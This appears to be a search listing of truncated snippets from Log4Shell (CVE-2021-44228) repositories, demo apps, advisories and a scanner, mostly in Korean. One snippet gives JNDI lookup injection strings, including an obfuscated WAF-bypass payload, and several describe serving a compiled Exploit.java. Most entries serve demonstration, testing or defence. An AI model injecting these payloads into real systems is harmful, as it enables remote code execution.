l4j-tp1

log4shell 진양성 이것은 log4shell 취약점이 있는 간단한 웹 프로젝트입니다. 프로젝트는 평문 텍스트 문자열 hello world를 반환하는 간단한 scabench.HelloWorldService get 서비스를 정의합니다. 서비스는 매개변수를 예상하지 않으며, 매개변수가 발견되면 오류가 기록됩니다. 취약한 의존성은 org.apache.logging.log4j:log4j-core:2.14.1이며, 취약점은 CVE-2021-44228입니다. 테스트를 사용하여 취약점 시연하기 이를 위해서는 unix 또는 macos가...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j 원격 코드 실행） 모든 log4j-core 버전 =2.0-beta9 및 =2.14.1 1.x 버전에는 다른 취약점이 있습니다. 최신 버전으로 업데이트하는 것을 권장합니다. Log4ShellCVE-2021-44228 관련 보안 권고/게시판 사용법: 이 프로젝트를 다운로드하고, 익스플로잇 코드 blob/master/src/main/java/Exploit.java를 컴파일한 후, 컴파일된 바이너리를 다운로드할 수 있는 웹 서버를 시작하세요. git clone...

CVE-2021-44228-Log4j-lookup-Rce

0x01. 환경 Jdk7u21 아무 버전이나 가능 영향 버전: Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 PoC import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER = LogManager.getLogger; public static void mainString args...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228 Apache Log4j 원격 코드 실행 모든 log4j-core 버전 =2.0-beta9 및 현재 Java 버전에 의존하지 마십시오. Log4를 업데이트하거나 또는 JNDI lookup을 제거하십시오. 확장을 비활성화하십시오 어쨌든 꽤 나쁜 생각인 것 같습니다. rc1 우회 예: $jndi:ldap://127.0.0.1:1389/ badClassName WAF 우회 $$::-j$::-n$::-d$::-i:$::-r$::-m$::-i://asdasd.asdasd.asdasd/poc...

CVE-2021-44228

CVE-2021-44228（Apache Log4j 远程代码执行） すべての log4j-core バージョン =2.0-beta9 かつ =2.14.1 1.x のバージョンには他の脆弱性が存在します。最新バージョンへの更新を推奨します。 Log4Shell（CVE-2021-44228）に関連するセキュリティアドバイザリ / 速報 使用方法: このプロジェクトをダウンロードし、エクスプロイトコード blob/master/src/main/java/Exploit.java をコンパイルし、コンパイル済みバイナリのダウンロードを許可する Web サーバーを起動します。 git...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j 원격 코드 실행） 모든 log4j-core 버전 =2.0-beta9 및 =2.14.1 1.x 버전에는 다른 취약점이 있으므로 최신 버전으로 업데이트할 것을 권장합니다. Log4ShellCVE-2021-44228 관련 보안 권고 / 공지 사용법: 이 프로젝트를 다운로드하고, 익스플로잇 코드 blob/master/src/main/java/Exploit.java를 컴파일한 후, 컴파일된 바이너리를 다운로드할 수 있도록 웹서버를 시작하세요. git clone...

l4j-fp1

log4shell 오탐 이것은 log4shell 취약점이 무해화된 간단한 웹 프로젝트입니다. 무해화되지 않은 버전은 https://github.com/scabench/l4j-tp1/을 참조하세요. 프로젝트는 일반 텍스트 문자열 hello world를 반환하는 간단한 scabench.HelloWorldService GET 서비스를 정의합니다. 이 서비스는 매개변수를 기대하지 않으며, 매개변수가 전달되면 오류가 기록됩니다. 취약한 의존성은 org.apache.logging.log4j:log4j-core:2.14.1이며, 취약점은...

CVE-2021-44228

CVE-2021-44228 Apache Log4j 원격 코드 실행） 모든 log4j-core 버전 =2.0-beta9 및 =2.14.1 1.x 버전에는 다른 취약점이 있으므로 최신 버전으로 업데이트하는 것이 좋습니다. Log4ShellCVE-2021-44228과 관련된 보안 권고 / 게시판 사용법: 이 프로젝트를 다운로드하고, 익스플로잇 코드 blob/master/src/main/java/Exploit.java를 컴파일한 후, 컴파일된 바이너리를 다운로드할 수 있도록 웹서버를 시작하세요. git clone...

log4shell-vulnerable-app

취약한 애플리케이션 이 저장소는 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 포함하며, log4shell로 알려져 있습니다. 다음을 사용합니다: log-4j-core:2.14.1 spring-boot-starter-log4j2를 통해 및 openjdk:8u181 애플리케이션 실행 실행: docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app 또는 직접 빌드할 수도 있습니다: docker build...

ROOT-APP-MAVEN-CVE-2026-34480 CVE-2026-34480 in org.apache.logging.log4j:log4j-core - Patched by Root

Root has patched CVE-2026-34480 in the org.apache.logging.log4j:log4j-core package for Root:Maven. Multiple fixed versions available...

ROOT-APP-MAVEN-CVE-2025-68161 CVE-2025-68161 in org.apache.logging.log4j:log4j-core - Patched by Root

Root has patched CVE-2025-68161 in the org.apache.logging.log4j:log4j-core package for Root:Maven. Multiple fixed versions available...

ROOT-APP-MAVEN-CVE-2026-34478 CVE-2026-34478 in org.apache.logging.log4j:log4j-core - Patched by Root

Root has patched CVE-2026-34478 in the org.apache.logging.log4j:log4j-core package for Root:Maven. Multiple fixed versions available...

log4j-vuln-demo

log4j-vuln-demo Sysdig CNAPP 스캐닝 및 수정 테스트를 위한 의도적으로 취약한 데모 이미지. CVE-2021-44228 Log4Shell, CVSS 10.0 Critical에 취약한 Log4j 2.14.1을 포함합니다. 목적 이 저장소는 Sysdig의 종단간 CNAPP 워크플로우를 시연하기 위해 존재합니다: 1. /sysdig-investigate — 취약한 이미지를 표시하고 수정 우선순위를 지정합니다. 2. /sysdig-remediate — 안전한 수정 버전2.15.0+을 확인하고 PR을 엽니다. 수정...

Log4Shell-Vulnerability-Replication

CVE-2021-44228 Log4Shell 취약점 완전 재현 기록 이 기록은 Vulhub가 제공하는 Apache Solr 8.11.0 실습 환경을 기반으로 Log4j2 JNDI 주입 취약점을 완전히 재현하였으며, DNSLog 및 로컬 LDAP 수신을 통해 취약점 존재를 성공적으로 확인하였습니다. 1. 실험 환경 운영 체제 ：Windows 11 + WSL2 Ubuntu 컨테이너 플랫폼 ：Docker Desktop 4.76 실습 환경 출처 ：Vulhub vulhub/log4j/CVE-2021-44228 대상 서비스 ：Apache...

AlmaLinux 9.2 [TuxCare] Security Update: log4j / log4j-jcl / log4j-slf4j / log4j-web (ALMALINUX9.2:CLSA-2026:1780054786)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1780054786 advisory. - The Log4j1XmlLayout from the Apache Log4j 1-to-Log4j 2 bridge fails to escape characters forbidden by the XML 1.0 standard, producing...

Security Bulletin: Vulnerabilities in Netty,Apache Log4j Core,Spring Boot,Spring Framework,PostCSS,tmp,Spring Data,Apache Commons Lang,React Router,Bootstrap,d3-color might affect IBM Storage Defender Copy Data Management

Summary IBM Storage Defender Copy Data Management can be affected by vulnerabilities in Netty, Apache Log4j Core, Spring Boot, Spring Framework, PostCSS, tmp, Spring Data, Apache Commons Lang, React Router, Bootstrap,d3-color. Vulnerabilities include The attacker can present a server certificate...

Security Bulletin: Vulnerabilities in netty-codec-http,spring-core,brace-expandsion,netty-transport,log4j-core,spring-expression,js-cookie,spring-security,spring-cloud,spring-boot,spring-hateoas might affect IBM Storage Defender Copy Data Management

Summary IBM Storage Defender Copy Data Management can be affected by vulnerabilities in netty-codec-http,spring-core,brace-expandsion,netty-transport,log4j-core,spring-expression,js-cookie,spring-security,spring-cloud,spring-boot,spring-hateoas. Vulnerabilities include resource exhaustion and...

log4shell-scanner

log4shell-scanner 의존성 없는 방어용 Log4Shell 스캐너 — 취약한 log4j-core JAR 및 로그/설정에서 JNDI 익스플로잇 패턴을 찾습니다. 이 프로젝트를 만든 이유 CERT-In 순환 근무 당시 위협 식별, 차단, 대응 및 위협 헌팅threat hunting 작업을 수행했습니다. 이는 2021년 12월 Log4ShellCVE-2021-44228이 대규모로 요구했던 정확한 워크플로우입니다. 즉, 모든 취약한 log4j-core 아티팩트를 플릿에서 찾고 로그에서 $jndi:... 익스플로잇 시도를...

Apache-Log4j2-RCE

Apache Log4j2 RCE 검증 환경 2021.12.09부터 참고 https://mp.weixin.qq.com/s/yck74F9p9QhVw3ykzVoSg 환경 구축 maven으로 관련 패키지 및 취약점 버전 범위 포함 org.apache.logging.log4j log4j-api 2.14.1 org.apache.logging.log4j log4j-core 2.14.1 확인 dnslog를 사용하여 사용 여부 탐지 ldap 및 jndi를 통한 RCE 활용 jdk 버전 관련, JDK 11.0.1, 8u191, 7u201,...

log4shell-CVE-2021-44228

Log4Shell 直接影響フィクスチャ ShieldOps 向けの、意図的に脆弱でデプロイ不可の Java/Maven 入力です。ビルド、実行、デプロイはしないでください。 このプロジェクトは org.apache.logging.log4j:log4j-core:2.14.1 を固定しています。LoginAuditService.recordLoginAttempt は、認証されていない HTTP User-Agent の値を Log4j のメッセージパラメータに送信します。これが CVE-2021-44228 で説明されている、攻撃者が制御するメッセージの条件です。...